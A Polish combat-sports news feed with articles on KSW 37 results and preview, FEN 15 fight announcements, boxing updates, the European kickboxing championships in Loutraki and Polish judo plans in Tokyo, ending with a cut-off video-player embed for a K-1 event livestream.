Bohaterowie widowiska nie zamierzali czekać i szybko doszło do wymiany. Mikołajuw trafił prawym i Pudzianowski przysiadł, ale szybko podrażniony ruszył na rywala. Potężny cios i „Popek” wylądował na deskach, ale na tym nie koniec. „Pudzian” chciał przypieczętować triumf i zasypał rywala kolejnymi „cepami”. Sędzia przerwał jego natarcie i zakończył walkę, która trwała niecałe półtorej minuty. Dziesiąty triumf w karierze Pudzianowskiego stał się faktem.

Zmiana mistrzów

Fernando Rodrigues Jr. udowodnił, że jest groźny i potrafi rozstrzygać walki przed czasem. Pierwsza wizyta w Polsce zakończona wywalczeniem pasa w kategorii ciężkiej. Karol Bedorf, który wygrał osiem kolejnych walk na KSW, po ponad trzech lat traci tytuł. Polak dotrwał do drugiej rundy, w której Brazylijczyk wyprowadzał mnóstwo ciosów. W końcu Bedorf padł na deski, a Rodrigues dokończył dzieło.

Marcin Wrzosek nowym królem kategorii piórkowej! Artur Sowiński okazał się bezradny wobec natarcia 29-latka z Bydgoszczy, który w drugiej rundzie zdecydowanie ruszył do przodu. Wrzosek szybko posłał „Kornika” na deski i dosłownie zasypał go ciosami. Trafiał Sowińskiego raz po raz i w końcu sędzia przerwał walkę. „Kornik” musiał oddać pas Wrzoskowi, który zanotował drugą wygraną podczas występów dla KSW.

Wszyscy czekali na powrót Borysa Mańkowskiego, który nadal pozostaje na czele wagi półśredniej. „Diabeł Tasmański” nie walczył od występu na Wembley, gdzie rozprawił się z Jesse'm Taylorem. Potem kontuzja kostki i ogromny głód rywalizacji. W starciu z Johnem Maguire, Mańkowski pokazał mistrzowską klasę. Pierwsza runda to dominacja Polaka w stójce, druga w parterze, w trzeciej szukał poddania. Maguire wytrzymał pełen dystans, jednak nie było wątpliwości, kto zapisze na swoim koncie zwycięstwo. Udany powrót Mańkowskiego, w którym pokazał wszechstronne umiejętności.

Bezlitosny Francuz, mocny Wójcik

Mansour Barnaoui lepszy od Łukasza Chlewickiego, który już w pierwszej rundzie nie był w stanie kontynuować walki. Zabójcze okazały się łokcie Francuza. Lekarz stwierdził, że 37-letni „Sasza” nie nadaje się do dalszej rywalizacji. Barnaoui rozbił twarz Polaka, na której pojawiła się krew. Szybko, pewnie i skutecznie! Marcin Wójcik nie pozwolił Marcinowi Łazarzowi na zbyt wiele. 27-latek panował nad sytuacją, wyczuł moment i złapał rywala za głowę, po czym zapiął gilotynę. Trzecia walka  na KSW i trzecie zwycięstwo. Czy Tomasz Narkun, mistrz wagi półciężkiej, ma się bać? 

Denilson Neves de Oliveira pokazał się z dobrej strony w starciu z Patrykiem Wolańskim. Brazylijczyk był aktywny, kopał, próbował licznych kombinacji. Wolański musiał do samego końca walczyć o zwycięstwo, jednak Denilson nie zamierzał ułatwiać mu zadania. Werdykt sędziów wzbudził kontrowersje. Niejednogłośnie na punkty wygrał Wolański, dla którego była to pierwsza wygrana na KSW. W maju przegrał z Marcinem Wrzoskiem.

David Zawada wykorzystał szansę, którą otrzymał w ostatniej chwili. Jego starcie z Robertem Radomskim pojawiło się w miejsce pojedynku Macieja Jewtuszki z Yasubeyem Enomoto ze względu na problemy zdrowotne popularnego „Irokeza”. Zawada polował na pierwszą wygraną w KSW. Na swoim koncie zapisał porażki z Borysem Mańkowskim i Kamilem Szymuszowskim. Cierpliwość popłaca, a i powiedzenie „do trzech razy sztuka” ma rację bytu. W drugiej rundzie 26-latek zasypał Radomskiego ciosami i sędzia zmuszony był przerwać walkę. 

Z dobrej strony pokazali się debiutanci, jednak w lepszym nastroju pojedynek kończył Roman Szymański. Co prawda, Sebastian Romanowski w drugiej rundzie trafił rywala i posłał go na deski, ale nie wykorzystał okazji. W końcówce trzeciej odsłony Szymański zdobył dosiad, znalazł się za plecami przeciwnika i złapał duszenie. 

KM

Matt Horwich vs Filip Tomczak na FEN 15 Final Strike

Matt Horwich, były zawodnik organizacji UFC i Bellator i jedna z najbarwniejszych postaci światowego MMA, już 14 stycznia wystąpi w klatkoringu Fight Exclusive Night! Na gali FEN 15 Final Strike w Lubinie Amerykanin zmierzy się z młodym wilkiem polskiego MMA – niepokonanym na zawodowym ringu Filipem Tomczakiem.

Matt „Suave” Horwich należy do najbardziej rozpoznawalnych wojowników MMA. 38-letni weteran, który występował na arenach najważniejszych światowych organizacji, ma na koncie ponad 50 zawodowych walk, z których ponad połowę wygrał.  Poza UFC i Bellatorem walczył m.in. dla nieistniejących już Strikforce oraz International Fight League, w 2007 roku zdobywając pas IFL  i zajmując  1. miejsce w IFL World Grand Prix. Zjednał sobie sympatię kibiców MMA przede wszystkim bardzo twardą, nieustępliwą postawy w ringu – zazwyczaj zwycięża przed czasem, a jeśli przegrywa, to po decyzjach sędziowskich.  Często opisywany jest jako największy hipis w MMA, który chętnie opowiada o swojej głębokiej wierze w Boga, zamiłowaniu do poezji i muzyki oraz fascynacji mechaniką kwantową.

Matt Horwich kilkukrotnie walczył w Polsce, m.in. na galach KSW, na których pokonał Antoniego Chmielewskiego i Terry’ego Martina. Ostatnią swoją walkę również stoczył nad Wisłą – miesiąc temu na gali PLMMA 70 przegrał starcie o pas wagi średniej z będącym ostatnio w rewelacyjnej formie Marcinem Naruszczką.

Na gali FEN 15 naprzeciwko Amerykanina stanie obiecujący reprezentant młodego pokolenia Filip Tomczak. 25-letni fighter MMA Devil Fight Club Poznań świetnie rozpoczął swoją zawodową karierę, odnosząc komplet zwycięstw w czterech stoczonych dotychczas walkach, trzykrotnie poddając rywali w pierwszych rundach. Żaden z jego przeciwników nie może się jednak równać umiejętnościami i doświadczeniem z Horwichem, więc walka na gali FEN 15 będzie dla Tomczaka prawdziwym testem sportowej dojrzałości.

Wydarzeniem FEN 15 Final Strike będą dwa pojedynki o pasy mistrzowskie w formule K-1 – w walce wieczoru zmierzą się Paweł Biszczak i Wojciech Wierzbicki, a w drugim starciu o pierwszy kobiecy tytuł w historii federacji FEN walczyć będzie Róża Gumienna. W innych walkach na zasadach MMA podczas gali wystąpią m.in. Marcin Zontek, Adam Golonkiewicz, Michał Michalski, Kamil Gniadek, Mateusz Głąb oraz Michał Miłek.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Oświadczenie zarządu FEN ws. walki Romana Szymańskiego poza federacją

W odpowiedzi na opublikowane wczoraj informacje prasowe zawierające zapowiedź walki Romana Szymańskiego poza federacją Fight Exclusive Night prezentujemy stanowisko zarządu naszej organizacji w tej sprawie.

„W związku z wczorajszymi doniesieniami medialnymi dotyczącymi planowanego uczestnictwa Romana Szymańskiego w charakterze zawodnika w wydarzeniu sportowym KSW 37 oświadczamy, iż Roman Szymański jest zawodnikiem Fight Exclusive Night i jego udział w walkach dla innej organizacji będzie rażącym naruszeniem postanowień kontraktu zawartego z naszą federacją, ze wszelkimi konsekwencjami prawno-finansowymi wynikającymi z jego zapisów.

Zarząd federacji Fight Exclusive Night” FEN

Czy skradną show?

Show must go on – słowa piosenki zespołu Queen pobrzmiewają silnie w uszach włodarzy KSW. Ci starają się zapewnić publiczności widowiska najwyższych lotów. Gala KSW 37 ma być popisem Mariusz Pudzianowskiego i Pawła Mikołajuwa, czyli popularnego „Popka”. Wydaje się, że pozostali zawodnicy będą tłem dla rywalizacji dwóch wspomnianych panów.

Trzy mistrzowskie walki uświetnią sobotni wieczór w krakowskiej Ergo Arenie. Jednak żadna z nich nie wzbudza takiego zainteresowania jak starcie „Pudziana” z „Popkiem”. Dlaczego? Kontrowersyjne postaci przyciągają, a do takich z pewnością należy 38-letni raper.

Magnes

Siedem lat temu w KSW debiutował Mariusz Pudzianowski. Wszyscy kojarzyli „Pudziana” ze spacerem farmera czy przeciąganiem samochodów ciężarowych. W rywalizacji strongmanów wszedł na poziom mistrzowski, zdobył wszystkie najważniejsze laury i zyskał ogromną popularność. Zakontraktowanie Pudzianowskiego przez KSW sprawiło, że znaczna część społeczeństwa chciała go zobaczyć w akcji w ringu. Zainteresowani czekali na to, co wydarzy się na warszawskim Torwarze. „Pudzian” w 43 sekundy rozprawił się z Marcinem Najmanem, a KSW stała się rozpoznawalną marką w całej Polsce.

Magnes w postaci Pudzianowskiego cały czas budzi zainteresowanie. Choć w najbliższej walce na KSW 37 były strongman znajdzie się w cieniu Pawła Mikołajuwa. Nieważne, jaki będzie rezultat, pierwszoplanową postacią będzie „Popek”. Wszystko przez jego kontrowersyjny styl bycia, dużą liczbę tatuaży czy skaryfikację twarzy. O nim się mówi, on przyciąga uwagę i nakręca zainteresowanie krakowską galą.

„Popek” nie jest żółtodziobem w MMA, jednak ostatnią walkę stoczył ponad osiem lat temu. Łącznie ma ich na koncie trzy, w tym dwie wygrane. Wszystkie stoczył w Wielkiej Brytanii. Raper ponownie wchodzi do świata MMA i nie będzie miał łatwo. Jego rywal stoczył już 14 walk i przez siedem lat wiele się nauczył. Pudzianowski przegrał dwie ostatnie walki, ale nadal w pamięci kibiców pozostaje jego ostatnie zwycięskie starcie. W maju 2015 roku znokautował Rollesa Gracie po niecałych 30 sekundach rywalizacji, czym pokazał, że stać go na efektowne akcje.

Wszyscy zacierają ręce na pojedynek „Pudziana” z „Popkiem”. Magnes działa. Od samego początku scenariusz trzyma w ogromnym napięciu. Trzeba przypomnieć, że podczas wrześniowej konferencji raper został zatrzymany przez policję. Sytuacja okazała się… wyreżyserowana, ale cała Polska usłyszała o gali i o walce. Zaczęło się od mocnego uderzenia, czy będzie tak do samego końca? Pesymiści podkreślają, że z „wielkiej chmury, mały deszcz”. Przydałoby się, żeby show pozaringowe przeniosło się na arenę. O tym przekonany się już 3 grudnia.

Mistrzowie

Po raz czwarty tytułu w wadze ciężkiej będzie bronił Karol Bedorf. Dwa ostatnie starcia 33-latek wygrał przed czasem. Na KSW 37 atak na Bedorfa przeprowadzi Fernando Rodrigues Jr., który ma na swoim koncie pojedynki w Brazylii i Japonii. W ostatnim starciu po raz pierwszy walczył w Europie. 29-letni Brazylijczyk wystąpił w Finlandii i w pierwszej rundzie pokonał Yosefa Ali Mohammada. Rodrigues Jr. to zawodnik, który szybko kończy swoje walki. Aż siedem z dziesięciu pojedynków wygrał przez nokaut.

Po ponad roku przerwy wraca mistrz wagi półśredniej Borys Mańkowski. „Diabeł Tasmański” przeszedł długą drogę, aby wejść na szczyt. W grudniu 2012 roku przegrał walkę mistrzowską z Aslambekiem Saidovem, jednak po upływie półtora roku sięgnął po tytuł. Trzy razy skutecznie bronił pasa. W Krakowie Mańkowski zmierzy się z Johnem Maguire. 33-letni Anglik wygrał pięć ostatnich walk, ma za sobą występy w UFC.

Artur Sowiński w obronie pasa mistrzowskiego w wadze piórkowej zmierzy się z Marcinem Wrzoskiem. Panowie nie ukrywają, że za sobą nie przepadają. W Krakowie nadarzy się okazja, aby rozwiązali konflikt. „Kornik” nie przegrał od sześciu walk, Wrzosek w ostatniej walce na KSW 35 pokonał Filipa Wolańskiego, a wcześniej przegrał z Julianem Erosą na turnieju UFC Fighter 22.

W związku z ostrym zapaleniem wyrostka i przebytą operacją na gali nie wystąpi Maciej Jewtuszko oraz jego rywal Yasubey Enomoto. Zamiast niech odbędzie się pojedynek Roberta Radomskiego z Davidem Zawada. Na KSW 37 dojdzie do starcia Łukasza Chlewickiego i Mansoura Barnaouiego. Marcin Wójcik zmierzy się z Marcinem Łazarzem, a Filip Wolański z Denilsonem Nevesem de Oliveirą. Galę otworzy starcie młodych Romana Szymańskiego i Sebastiana Romanowskiego.

KM

Kolejne wyzwania

Krzysztof „Diablo” Włodarczyk jest na ostatniej prostej przed kolejną walką. 10 grudnia zmierzy się z Leonem Harthem. Z kolei Andrzej Fonfara będzie chciał odbudować się po niespodziewanej porażce z Joe'm Smithem Jr. W przyszłym roku polski pięściarz spotka się z Chadem Dawsonem.

„Diablo” czeka na kolejny pojedynek, który ma mu pozwolić wrócić do czołówki wagi junior ciężkiej. W przypadku Fonfary wydawało się, że jest na najlepszej drodze, aby walczyć o mistrzostwo świata. Niestety, przytrafiła się porażka i urodzony w Radomiu bokser musi odbudować swoją pozycję.

Hat-trick Włodarczyka

Zapożyczenie z języka piłkarskiego jest jak najbardziej wskazane. 10 grudnia we Wrocławiu Włodarczyk stoczy trzeci pojedynek w tym roku. Po raz ostatni „Diablo” był tak aktywny w 2007 roku, kiedy zaczął od porażki ze Steve'm Cunninghamem, a potem przed czasem wygrał z Dominiquem Alexandrem oraz Moyoyo Mensahem.

Teraz sytuacja wygląda nieco inaczej. W marcu Włodarczyk wrócił po półtorarocznej przerwie i pokonał Valery'ego Brudova. Były mistrz świata WBC wygrał również z Kaiem Kurzawą. Włodarczyk miał ochotę na więcej i szykował się do listopadowego starcia z Nigeryjczykiem Olandrewaju Durodolą. Pojedynek nie doszedł do skutku, bo planowana gala została odwołana. 

Ruszyły poszukiwania kolejnego rywala. Wybór padł na Leona Hartha, który może pochwalić się 14 zwycięstwami na zawodowym ringu. Aż 10 pojedynków Niemiec wygrał przed czasem. 10 grudnia we Wrocławiu spróbuje pokonać Polaka, do którego należy pas IBF Inter-Continental. Włodarczyk w pocie czoła przygotowuje się do starcia. Były mistrz świata sparował m.in. z Michałem Olasiem, Michałem Cieślakiem i Juho Haapoją. Jeszcze jedno trafienie i i „ustrzeli” hat-tricka.

Wrócić do gry

Andrzej Fonfara pokonał Julio Cesara Chaveza Jr i Nathana Cleverly'ego, co przybliżyło go znacznie do ponownego spotkania z Adonisem Stevensonem, z którym przegrał w maju 2014 roku. „Polski Książę” musiał tylko pokonać Joe Smitha Jr. W Chicago doszło do sporej niespodzianki. Fonfara już w pierwszej rundzie wylądował na deskach.

29-latek czeka na kolejną walkę, która pozwoli mu się odbudować. 14 stycznia w Nowym Jorku zmierzy się z Chadem Dawsonem. 34-letni Amerykanin w ostatnim czasie walczy w kratkę, choć wygrał ostatnie dwie walki. Na przestrzeni ostatnich lat przegrywał m.in. z Adonisem Stevensonem i Andre Wardem. Dawson zdobywał tytuły IBF, IBO i WBC w wadze półciężkiej. Swego czasu pokonał Tomasza Adamka. Czy zatrzyma kolejnego Polaka?

Sala treningowa czeka

We wrześniu Krzysztof Głowacki stracił pas WBO kategorii junior ciężkiej na rzecz Oleksandra Usyka. Walka kosztowała boksera z Wałcza wiele zdrowia. Przeszedł operację prawego łokcia, niebawem powinien pojawić się na sali treningowej. 

Kiedy kolejna walka? Trudno wyrokować. Coraz częściej przewija się temat rywalizacji Głowackiego z Mateuszem Masternakiem.

KM

Michał Miłek w rewanżu z Mateuszem Głąbem na FEN 15

Już na gali FEN 15 Final Strike Michał Miłek stanie przed szansą na rewanż za przegraną pół roku temu walkę z Mateuszem Głąbem. Do rozstrzygnięcia pierwszego starcia tych młodych fighterów potrzebna była dogrywka, 14 stycznia w lubińskiej hali RCS można więc spodziewać się bardzo emocjonującego pojedynku!

Michał Miłek i Mateusz Głąb po raz pierwszy w klatkoringu Fight Exclusive Night spotkali się podczas majowej gali FEN 12 Feel The Force we wrocławskiej Hali Stulecia. Przy głośnym dopingu miejscowych kibiców po niezwykle zaciętej walce decyzją sędziów wygrał reprezentant WroX Gym Wrocław. Na FEN 15 Final Strike przed własną publicznością walczyć będzie jednak zawodnik Streffa Fight Team Lubin, więc przy tak wyrównanym poziomie obu fighterów mocne wsparcie z trybun tym razem jego może ponieść do zwycięstwa.

Dla obu tych utalentowanych i walecznych wojowników MMA kategorii lekkiej będzie to trzeci występ w Fight Exclusive Night. Nieco wcześniej w federacji debiutował Mateusz Głąb, zdobywca Pucharu Świata i multimedalista Pucharu Europy w taekwondo – w walce otwierającej galę FEN 10 Gold Edition w Lubinie trójkątem nogami w 3. rundzie zmusił do poddania Pawła Kordylewicza. Michał Miłek po raz pierwszy walczył na gali FEN 11 Warsaw Time, przez balachę w 3. rundzie pokonując faworyzowanego Alana Kwiecińskiego.

Zarówno Mateusz Głąb, jak i Michał Miłek stoczyli dotychczas trzy zawodowe walki. Lepszy bilans ma wrocławianin, który do dwóch wygranych w FEN dopisał niedawno spektakularne zwycięstwo na gali Celtic Gladiator 9 w Londynie, gdzie w zaledwie 21 sekund pokonał Anglika Steve’a McDonalda. Rekord fightera z Lubina jest na razie ujemny, ale warto przypomnieć, że Miłek debiutował w kategorii wyższej niż jego naturalna waga, biorąc w ostatniej chwili zastępstwo w walce z Jackiem Jędraszczykiem, a mimo to przegrał minimalnie, niejednomyślną decyzją sędziów.

W innych walkach na zasadach MMA podczas gali FEN 15 wystąpią m.in. Marcin Zontek, Adam Golonkiewicz, Michał Michalski i Kamil Gniadek. Kibiców czekają także walki o pasy mistrzowskie w formule K-1 z udziałem Pawła Biszczaka, Wojciecha Wierzbickiego i Róży Gumiennej.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Pozostał niedosyt

Dorota Godzina wraca z mistrzostw Europy w kickboxingu w Loutraki z brązowym medalem w full contact. Utytułowana zawodniczka liczyła na więcej.

„Dziewczyny lubią brąz” – w tym przypadku Ryszard Rynkowski się pomylił. Z pewnością zajęcie trzeciego miejsca na mistrzostwach Europy należy rozpatrywać w kategorii sukcesu, jednak Dorota Godzina wyżej zawiesiła sobie poprzeczkę. Po półfinałowej walce była zła na sędziów.

Kontrowersyjny werdykt

Ćwierćfinał europejskiego czempionatu poszedł po myśli zawodniczki X Fight Piaseczno, choć podczas walki z Savviną Vatistą nie obyło się bez problemów. Polka… ślizgała się na ringu. Greczynka nie zagroziła jednak Godzinie, która pewnie wygrała 3:0. 

Półfinałową rywalkę znała doskonale. Godzina wygrała z Kristin Vollstad w finale Pucharu Świata w Budapeszcie. Pojedynek o wejście do finału mistrzostw Europy miał zacięty przebieg. Do samego końca Godzina walczyła o zwycięstwo, jednak sędziowie wskazali na Norweżkę. Miesiąc temu w  Mariborze zawodniczka X Fight Piaseczno również odpadła w półfinale i zakończyła rywalizację w light contact na trzecim miejscu. Jak widać, historia lubi się powtarzać. – Swój występ na Mistrzostwach Europy, zarówno w light contact i full contact, oceniam dobrze. Czuję jednak niedosyt, ponieważ w jednym i drugim przypadku moje walki półfinałowe zakończyły się remisem i dopiero wskazanie sędziów decydowało o wygranej. O ile w Mariborze dosyć szybko pogodziłam się z werdyktem, tak w wypadku mojej walki full contactowej z Norweżką uważam, że byłam nieznacznie lepsza i wskazanie powinno być na moją korzyść. Nie rozpaczam, bo na pewno będzie jeszcze okazja do rewanżu. Mam sporo fighterskich planów na przyszły rok – przedstawia nam Dorota Godzina, brązowa medalista mistrzostw Europy w Loutraki.

Trzeba walczyć dalej

W przypadku reprezentantki Polski można mówić o sportowej złości. Godzina w Grecji zaprezentowała się z dobrej strony i dała siebie wszystko, jednak przegrała decyzją sędziów. Ostatecznie Norweżka sięgnęła po złoto, w które celowała zawodniczka X Fight Piaseczno.

Należy podkreślić, że Godzina dopisała kolejny medal do swojego bogatego dorobku. – W kickboxingu startuje już 14 lat i tak się składa, że jestem zawodniczką, która potrafi walczyć z sukcesami w wielu formułach. Lubię bardzo rywalizację i właśnie to ze startuje w różnych formulach walki sprawia ze nie pojawia się nuda i rutyna – wyjaśnia Godzina. –  Oczywiście zdarzają się momenty, że mam dość kickboxingu – dodaje.

Fot. Dorota Godzina Facebook 

KM

16 medali na koncie Polaków

Biało-czerwoni rywalizację w mistrzostwach Europy w kickboxingu w Loutraki zakończyli na piątym miejscu w klasyfikacji medalowej. Najlepsi okazali się Rosjanie, którzy wywalczyli 33 krążki.

Do rozgrywki o medal z najszlachetniejszego kruszcu dotarło ośmioro Polaków. Trzech z nich mogło cieszyć się ze zwycięstwa i tytułu najlepszego zawodnika Europy. Finałowe walki wygrali: Paulina Jarzmik (60kg), Katarzyna Kwiecień (70kg) i Mateusz Niżejewski (63kg), którzy startowali w kick light.

Wśród najlepszych

Po raz kolejny Polska potwierdziła, że należy jej się miejsce w czołówce. Mistrzostwa Europy kick light, full contact i pointfighting przebiegały pod dyktando Rosji, która zdobyła aż 19 złotych krążków. Drudzy Węgrzy zapisali na swoim koncie o 10 medali mniej, a łącznie wywalczyli ich 16. Podium uzupełnili Włosi (27), a tuż za nim Niemcy i Polska (16). Z tym, że nasi zachodni sąsiedzi zajęli czwarte miejsce, bo mieli o jedno srebro więcej.

Co do naszych zawodników, słowa uznania należą się Paulinie Jarzmik. 22-letnia zawodniczka wywalczyła w Loutraki dwa medale. W pointfightingu sięgnęła po brąz. Polka przegrała półfinałową walkę z późniejszą mistrzynią Luisą Gullotti. Za to bezkonkurencyjna okazała się w kick light. W boju o finał Jarzmik wygrała z Turczynką Goknur Yasin Dundar, a w starciu o złoto z Petrą Gremen potwierdziła absolutną dominację. Reprezentantka Polski już w drugiej rundzie mogła cieszyć się z triumfu. W kategorii 70kg triumfowała Katarzyna Kwiecień, która okazała się lepsza od Mariji Bozhinoskiej z Macedonii.

Sukces odniósł Mateusz Niżejewski. Polak mógł być zmęczony po ciężkim półfinale z Marco Filippim. Włoch postawił trudne warunki i był nieustępliwy, Nizejewski zarobił minusowe punkty, ale ostatecznie wygrał. Sanel Ljutić dobrze wspominał rywalizację z Polakiem, którego pokonał podczas Pucharu Świata w Rimini. Teoretycznie miała przewagę psychiczną, ale w Niżejewski zrewanżował się i sięgnął po złoto.

Zawiedziony może być Mateusz Kubiszyn (86kg), który w finale full contact uległ Bojanowi Miskoviciowi. Chorwat to mistrz świata WAKO PRO, jednak Polak rok temu sięgnął w Dublinie po miano najlepszego zawodnika globu i nie miał zamiaru się bać. Misković był liczony, jednak zachował więcej zimnej krwi. Chorwat wyprowadził więcej celnych ciosów, co przeważyło szalę na jego korzyść. W półfinale Aleksander Stawirej (+91kg) wyeliminował mistrza świata Batiaeva. Mistrz Europy juniorów z San Sebastian stanął przed ogromną szansą na sukces. W walce z Ivanem Tkachenko wyglądał dobrze i prowadził, jednak rywal w końcówce postawił wszystko na jedną kartę. Ukrainiec wyprowadził kilka celnych ciosów i wygrał.

Srebro dla Karoliny Dziedzic (70kg) w full contact. W kick light finałowe potyczki przegrali Patryk Kuryłek (57kg) i Piotr Wypchał (94kg). Biało-czerwoni zdobyli również osiem brązowych medali. Na najniższym stopniu podium stanęli: Karolina Mośko (48kg), Dorota Godzina (55kg), Kamil Dajwłowski (71kg), Paweł Strykowski (89kg) – wszyscy full contact oraz Karolina Kubiak (50kg), Wojciech Wiśniewski (79kg) oraz Michał Bławdziewicz (+94kg) i wspomniana Jarzmik.

Mistrzostwa w całości

Najważniejsza liczba to 35. Tyle medali zdobyli Polacy podczas mistrzostw Europy w Mariborze i Loutraki.

Rywalizacja na Słowenii odbyła się w październiku. O medal rywalizowali zawodnicy występujący w formułach K-1, low kick i light contact. Polacy zdobyli 19 medali, w tym siedem złotych. Warto wspomnieć, że w Mariborze tytuł mistrzyni Europy wywalczyła Paulina Jarzmik startująca w light contact. Sukces powtórzyła w Grecji. 

KM

Zaczyna się liczenie medali

Coraz bliżej najważniejszych rozstrzygnięć podczas mistrzostw Europy w kickboxingu w Loutraki. W półfinale full contact doskonale spisał się Aleksander Stawirej (+91kg), który pokonał mistrza świata Andreja Batiaeva.

Zacięte pojedynki, które kończą się dla jednych radością, a dla innych łzami. Celem biało-czerwonych zawsze jest szczyt, jednak niektórzy w starciach półfinałowych musieli przełknąć gorycz porażki.

Koniec na horyzoncie

Patryk Kuryłek (57kg), rywalizujący w kick light, w ćwierćfinale pokonał Włocha Edoardo Tranquillino. Nie obyło się bez krwi. Walka układała się po myśli Polaka, jednak w drugiej rundzie rywal rozbił mu nos. Kuryłek wrócił do zmagań i zrewanżował się Włochowi tym samym w trzeciej odsłonie. Sędzia przerwał walkę. Rozpędzony Kuryłek w półfinale zdominował Artura Rudenko. Ukrainiec nie miał nic do powiedzenia i musiał pogodzić się z porażką. 

W przypadku Pauliny Jarzmik (60kg) można mówić o zmiennym szczęściu. Zawodniczka X Fight Piaseczno w Grecji wystartowała w dwóch formułach: pointfighting oraz kick light. W tej pierwszej wywalczyła brąz, gdyż w półfinale lepsza okazała się Luisa Gullotti. Z kolei w starciu o wejście do finału w kick light Polka spotkała się z Goknur Yasin Dundar. Zawodniczki miały okazję się już spotkać. Podczas zeszłorocznych mistrzostw świata lepsza okazała się Jarzmik, która ponownie udowodniła swoją wyższość.

W kick light awans do finału wywalczyli również: Piotr Wypchał (94kg) i Mateusz Niżejewski (63kg). Zła na sędziów była Dorota Godzina (55kg). Startująca w full contact Polka w półfinale spotkała się z Kristin Vollstad. Norweżka okazała się niewygodną rywalką, jednak Godzina była nieustępliwa i zaprezentowała swoje atuty. Sędziowie wskazali jednak na Vollstad. Powodów do zadowolenia nie ma Karolina Mośko (48kg). W tegorocznych startach odnosiła już sukcesy i niesiona na skrzydłach marzeń robiła wszystko, aby dojść do finału. Na jej drodze stanęła Juliia Goroderskaja.

Jeden mistrz dalej, drugi zatrzymany

Mateusz Kubiszyn (86kg) konsekwentnie idzie do przodu. W ćwierćfinale już w drugiej rundzie rozprawił się z Antonio Garcią Iglesiasem. Mistrz świata w formule full contact z Dublina w półfinale stanął przed trudnym zadaniem. Serdar Yigit Eroglu walczył o zwycięstwo i ani na chwilę nie odpuścił. Do samego końca trwała walka o triumf, jednak więcej sił zachował Kubiszyn. 

Aleksander Stawirej (+91kg) cieszył się się z awansu do półfinału po pokonaniu Hamza Kendircioglu. Następnie na swojej drodze spotkał mistrza świata Andreia Batiaeva. Rosjanin to silny kolos, który mierzy blisko 210 cm. Polak dał radę czempionowi, walczył uważnie i szukał swojej szansy. Znakomite kontry dały mu zwycięstwo.

KM

Japonia na celowniku biało-czerwonych

Wielkimi krokami zbliża się ostatni akord w tegorocznych zmaganiach na tatami. Na początku grudnia w Tokio judocy powalczą w zawodach Jigoro Kano Grand Slam. Wystartuje w nim dwóch Polaków. Z kolei podopieczne Anety Szczepańskiej pracują nad formą w Tokio. 

Biało-czerwone trenują na Uniwersytecie Katsura od środy. W składzie brakuje głównych postaci kadry, które w tym roku wywalczyły złoty medal mistrzostw Europy w Kazaniu.

Kadra rusza na zgrupowanie

Nie ma chwili na odpoczynek. Końcówka sezonu zbliża się wielkimi krokami, jednak Aneta Szczepańska postanowiła zabrać swoje podopieczne do Japonii. Agata Perenc, Julia Kowalczyk, Anna Dąbrowska, Beata Pacut, Paula Kulaga i Anna Załęczna trenują na Uniwersytecie Katsura, gdzie będą przebywać 2 grudnia. Kolejna część zgrupowania odbędzie się w Kodokanu. W Japonii jest również Anna Borowska, ale trenuje w Yamanashi.

Dla naszej kobiecej reprezentacji rok był udany. Zwłaszcza za sprawą wywalczenia mistrzostwa Europy, jednak każda z naszych zawodniczek notowała dobre indywidualne starty. W Japonii brakuje czołowych postaci naszej kadry. Ale wiele judoczek dobrze rokuje na kolejne lata.

Doświadczona Agata Perenc (52kg) to podpora polskiej reprezentacji. Złota medalistka z Kazania zaczęła rok od trzeciego miejsca w Tunisie, a w maju stanęła na najniższym stopniu podium w Grand Prix w Ałmatach. Obiecująco wygląda Julia Kowalczyk (57kg). 19-latka drugi rok z rzędu wywalczyła brąz mistrzostw Europy juniorów. Z kolei Beata Pacut (78kg) zwyciężyła w Pucharze Europy w Warszawie. Pod okiem trener Szczepańskiej nasze kadrowiczki zrobiły ogromne postępy. Liczymy, że japońskie treningi posłużą młodym zawodniczkom i w następnym roku będą notowały udane występy.

Japoński finał

Już 2 grudnia start Grand Slam w Tokio, turniej potrwa do 4 grudnia. Zawody to prawdziwe wyzwanie i sprawdzian umiejętności. Do Japonii zjeżdżają się czołowi zawodnicy świata, którzy podsumują sezon. Grand Slam w Tokio to także oddanie czci i upamiętnienie twórcy judo Jigoro Kano. 

W ostatnim czasie Polacy nie mają miłych wspomnień z japońskiego turnieju. Rok temu Damian Szwarnowiecki stoczył trzy walki. Na drodze Polaka stanął Hiroyuki Akimoto, który zwyciężył rywalizację w kategorii 73kg. Dwa lata temu nasi reprezentanci wygrali zaledwie dwa pojedynki. O sukcesie możemy mówić w przypadku turnieju z 2013 roku. Wtedy 7. miejsce wywalczył Jakub Zarzeczny.

W tym roku o sukces w Tokio powalczą Damian Szwarnowiecki (81kg) i Piotr Kuczera (90kg). 22-latek na jesieni zaczął startować w kategorii 81kg, wcześniej w 73kg. Zmiana wyszła mu na dobre. Dwa występy i dwa razy trzecie miejsce. W tym roku Szwarnowiecki odniósł największy sukces w karierze. Wygrał kwietniowe zawody Grand Prix w Samsun. Zaimponował również Piotr Kuczera. 21-latek z Rybnika wywalczył brązowy medal podczas mistrzostw Europy w Kazaniu.

Do wojska

W najbliższych dniach świat judo będzie kręcił się wokół Japonii, jednak nie tylko. 9 grudnia rozpocznie się rywalizacja w mistrzostwach świata wojskowych, które odbędą się w Szwajcarii. 

Po kolejny medal pojedzie Daria Pogorzelec (78kg). Uczestniczka Igrzysk Olimpijskich w Rio de Janeiro trzy lata temu zdobyła brąz. Pogorzelec wraca do rywalizacji po kontuzji kolana. W Szwajcarii zaprezentują się również: Agata Ozdoba, Kinga Kubicka, Karolina Tałach, Arleta Podolak i Łukasz Błach.

KM

LIVE: XVIII Warszawska Granda

Zapraszamy na transmisje telewizyjna na żywo z XVIII Warszawskiej Grandy. Organizatorzy zaplanowali ok. 25 pojedynków w formule K-1.

[kod]

XVIII Warszawska Granda

XVIII Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPro_LFC.livx",
